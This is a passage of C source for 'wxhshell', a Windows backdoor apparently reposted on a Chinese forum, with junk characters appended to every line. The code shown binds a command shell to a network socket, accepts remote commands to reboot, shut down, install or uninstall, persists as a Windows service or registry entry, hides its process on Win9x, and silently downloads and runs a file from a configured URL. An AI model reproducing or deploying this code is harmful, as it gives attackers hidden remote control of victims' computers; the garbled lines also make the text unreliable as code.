  l!Bc0  
  // 帮助 M9mC\Iz[  
  case '?': { 9Z! j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a%3V< "f  
    break; L`"PaIMz  
  } G01J1Ll}  
  // 安装  XL@Y!  
  case 'i': { 5HWVK.  
    if(Install()) Z0yy<9q]2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?_Sf  
    else ["FC   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 53y,eLf  
    break; q:OSQ~U_  
    } DK2m(9/`3  
  // 卸载 +(>!nsf  
  case 'r': { 5p9zl=mT  
    if(Uninstall()) ;Dl< GW3<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *e E&ptx1  
    else K@Z K@++  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :]?y,e%xu,  
    break; RRYm.dMIw  
    } `o7m)T')  
  // 显示 wxhshell 所在路径 gQ]WNJ~>  
  case 'p': { ^4jIT1  
    char svExeFile[MAX_PATH]; Z<j(ZVO  
    strcpy(svExeFile,"\n\r"); gO C5  
      strcat(svExeFile,ExeFile); li>`9qCmI  
        send(wsh,svExeFile,strlen(svExeFile),0); o_un=ygU  
    break; ,`<w#  
    } lWYZAF>?Ym  
  // 重启 ]<3$Sx_{y  
  case 'b': { qEd!g,Sx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AEjkqG4qv  
    if(Boot(REBOOT)) ts2;?`~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r0b~RwUv  
    else { [/.5{|&GSt  
    closesocket(wsh); iUcDj:  
    ExitThread(0); eBZ^YY<*g  
    } hdFIriE3  
    break; L2v j)(  
    } -#yLH  
  // 关机 eK }AVz}k  
  case 'd': { &<{=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YuO-a$BP  
    if(Boot(SHUTDOWN)) JXR_klx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.CUo:c  
    else { A]VcQ_e  
    closesocket(wsh); KH4 5A'o  
    ExitThread(0); O0?.$f9 s  
    } NL})_.Og  
    break; 3U#z {%  
    } \/8 I6a=  
  // 获取shell 9v7l@2/  
  case 's': { 9S"c-"y\#  
    CmdShell(wsh); h> K~<BAz'  
    closesocket(wsh); CTu#KJ?j  
    ExitThread(0); }F=+*-SYZ  
    break; a<CN2e_Z  
  } &@E{0ZD  
  // 退出 vR m.# +Td  
  case 'x': { W}6(;tI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bv&A)h"S  
    CloseIt(wsh); l V[d`%(  
    break; {3RY4HVT?  
    } `N 0Mm7  
  // 离开 'n> ,+,&  
  case 'q': { L4th 7#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]fH U/%  
    closesocket(wsh); "*o54z5"  
    WSACleanup(); y( M-   
    exit(1); _I;+p eq  
    break; )9sRDNr  
        } & i,on6  
  } #bX~.jKW  
  } TV$Pl[m   
(<?6X9F:N  
  // 提示信息 #*^vd{fl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )+]8T6~ N  
} q$vATT  
  } cP[3p :  
*2O4*Q1  
  return; F.P4c:GD  
} !;'. mMO&%  
r&AX  
// shell模块句柄 t7|uZHKK  
int CmdShell(SOCKET sock) odxsF(Q0p  
{ M{Ss?G4H  
STARTUPINFO si; J8|F8dcz  
ZeroMemory(&si,sizeof(si)); >*ey 7g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F,0 @z/8a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O[ O`4de9  
PROCESS_INFORMATION ProcessInfo; J[ 9yQ  
char cmdline[]="cmd"; Y40Hcc+Fx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <1tFwC|4BJ  
  return 0; FC.d]XA%/d  
} ` aTkIo:ms  
YxH"*)N  
// 自身启动模式 Kp") %p#  
int StartFromService(void) H\A!oB,sw  
{ 8>.l4:`  
typedef struct jg8j>" Vj>  
{ 7Mxw0 J  
  DWORD ExitStatus; _RG!lmJV  
  DWORD PebBaseAddress; eto3dJ!R  
  DWORD AffinityMask; 9g3J{pKcZ  
  DWORD BasePriority; /E'c y  
  ULONG UniqueProcessId; g+8j$w}  
  ULONG InheritedFromUniqueProcessId; HA%% WSuf  
}   PROCESS_BASIC_INFORMATION; V$u~}]z  
FoM4QO  
PROCNTQSIP NtQueryInformationProcess; \tFg10  
xao'L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \-k X-Tq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h4C DZ  
r(`;CY]@  
  HANDLE             hProcess; (p<QRb:&Z  
  PROCESS_BASIC_INFORMATION pbi; '| Enc"U  
<VD^f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?qr-t+  
  if(NULL == hInst ) return 0; }J}a;P4  
c-z 2[a8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -L>\58`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WN9 <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %=x|.e@J  
Y%9S4be  
  if (!NtQueryInformationProcess) return 0; uN bOtA  
IWeQMwg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )'8DK$.  
  if(!hProcess) return 0; ,)mqd2)+"  
6|U0"C#]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BCV<( @c  
,eq[X\B>  
  CloseHandle(hProcess); +5Z0-N@  
;\7TQ9z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6'y+Ev$9  
if(hProcess==NULL) return 0; }49X  N  
~S}>|q$  
HMODULE hMod; 6zs&DOB  
char procName[255]; %&KJtKe  
unsigned long cbNeeded; "?_adot5v  
}K,:aN,44\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NVx`'Il8 "  
8cn)ox|J[  
  CloseHandle(hProcess); .+3= H@8h  
|+Z, 7~!  
if(strstr(procName,"services")) return 1; // 以服务启动 l c)*HYqU  
^.Cfa  
  return 0; // 注册表启动 X1U7$/t  
} =jdO2MgSg*  
^,zE Nqg7  
// 主模块 xB{0lI  
int StartWxhshell(LPSTR lpCmdLine) }OO(uC2  
{ vlCjh! x  
  SOCKET wsl; o Xwoi!  
BOOL val=TRUE; a5WVDh, cR  
  int port=0; vTN/ho,H  
  struct sockaddr_in door; $|.x!sA  
j"o`K}C  
  if(wscfg.ws_autoins) Install(); J 2%^%5&0  
|M|'S~z  
port=atoi(lpCmdLine); +7?p& -r)x  
 mfOr+   
if(port<=0) port=wscfg.ws_port; v 1Yf:c  
cSCO7L2E18  
  WSADATA data; .58>KBj(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  FRI<A8  
$Ch!]lJA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0'O;H[nrl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5;{d*L  
  door.sin_family = AF_INET; :)}iWKAse  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :T3I"  
  door.sin_port = htons(port); ) Ph.  
~rE U83  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xB:,l'\G  
closesocket(wsl); log{jF  
return 1; .>>@q!!s!  
} `we2zT  
]d?`3{h9LD  
  if(listen(wsl,2) == INVALID_SOCKET) { flTK  
closesocket(wsl); pc&/'zb  
return 1; vC~];!^  
} 8r /]Q  
  Wxhshell(wsl); `+$'bNPn&  
  WSACleanup(); LNml["   
-xq)brG  
return 0; 5%kt;ODS  
zsA6(? )u  
} ~Kda#=  
`),7*gn*)  
// 以NT服务方式启动 N;tUrdgQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h4H~;Wl0  
{ =-jkp  
DWORD   status = 0; (V @g?|LZ  
  DWORD   specificError = 0xfffffff; &'V_80vA  
x|*v(,7b]!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *A2J[,?c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $7gzu4f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I z~#G6]M  
  serviceStatus.dwWin32ExitCode     = 0; a`(6hL3IT  
  serviceStatus.dwServiceSpecificExitCode = 0; Woa5Ov!n0  
  serviceStatus.dwCheckPoint       = 0; !zLd ,`  
  serviceStatus.dwWaitHint       = 0; s$6zA j!  
dluNA(Xc-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,GXwi|Y  
  if (hServiceStatusHandle==0) return;  WwbE xn<  
QU16X  
status = GetLastError(); s<'^ @Y  
  if (status!=NO_ERROR) K"Vv=  
{ A/RHb^N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }MY7<sMDOy  
    serviceStatus.dwCheckPoint       = 0; #T Cz$_=t  
    serviceStatus.dwWaitHint       = 0; z=<T[Uy  
    serviceStatus.dwWin32ExitCode     = status; a#FkoA~M  
    serviceStatus.dwServiceSpecificExitCode = specificError; CyO2Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uS bOGhP  
    return; o%X_V!B{V  
  } Qi2yaEB  
_z\oDd`'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @i&LKr8  
  serviceStatus.dwCheckPoint       = 0; B1c`(mHl  
  serviceStatus.dwWaitHint       = 0; 62rTGbDbx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0!veLXeK!  
} zkn K2e,$  
AuUT 'E@E  
// 处理NT服务事件,比如:启动、停止 w_pEup\`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m9ts&b+TE  
{ F6h3M~uR  
switch(fdwControl) K+Q81<X~  
{ UBqA[9  
case SERVICE_CONTROL_STOP: D|Wekhm  
  serviceStatus.dwWin32ExitCode = 0; kt%9PGw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <(`dU&&%"}  
  serviceStatus.dwCheckPoint   = 0; )5gcLD/zI  
  serviceStatus.dwWaitHint     = 0; |\@e  
  { ?{%P9I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); meu\jg  
  } "RuJlp  
  return; OP]=MZP|  
case SERVICE_CONTROL_PAUSE: fJLlz$H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -(~Tu>KaH  
  break; l"o@.C} f/  
case SERVICE_CONTROL_CONTINUE: 5^cPG" 4@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'x<gC"0A  
  break; X'.}#R1  
case SERVICE_CONTROL_INTERROGATE: !1+L0,I6  
  break; 2,puu2F  
}; Z!G_" 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r J ?Y~Q  
} ^i_mGeu  
?;> s<  
// 标准应用程序主函数 rtv\Pf|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xb0hJ~e  
{ ^tsIgK^9H  
*!%y.$\cE  
// 获取操作系统版本 K6~N{:.s  
OsIsNt=GetOsVer(); ??=CAU%\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yxQxc5/X)  
#9EpQc[4  
  // 从命令行安装 GV6!`@<  
  if(strpbrk(lpCmdLine,"iI")) Install(); .3qaaXeH  
suj? e6  
  // 下载执行文件 GBtBmV/`  
if(wscfg.ws_downexe) { NSHWs%Zc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NLw#b?%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'P32G?1C&p  
} Y oNg3  
T nAd!  
if(!OsIsNt) { d]VL( &  
// 如果时win9x,隐藏进程并且设置为注册表启动 \hQ[5>  
HideProc(); cZ \#074u/  
StartWxhshell(lpCmdLine); wX8T;bo&  
} ~/Aw[>_;  
else XD{U5.z>y  
  if(StartFromService()) 1""9+4  
  // 以服务方式启动 !tCw)cou  
  StartServiceCtrlDispatcher(DispatchTable); 6xr$  
else %/~6Qq  
  // 普通方式启动 Et(Q$/W  
  StartWxhshell(lpCmdLine); X/lLM`  
i96Pel  
return 0; xU@YBzbk  
}
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只看该作者 1 发表于: 2006-10-10
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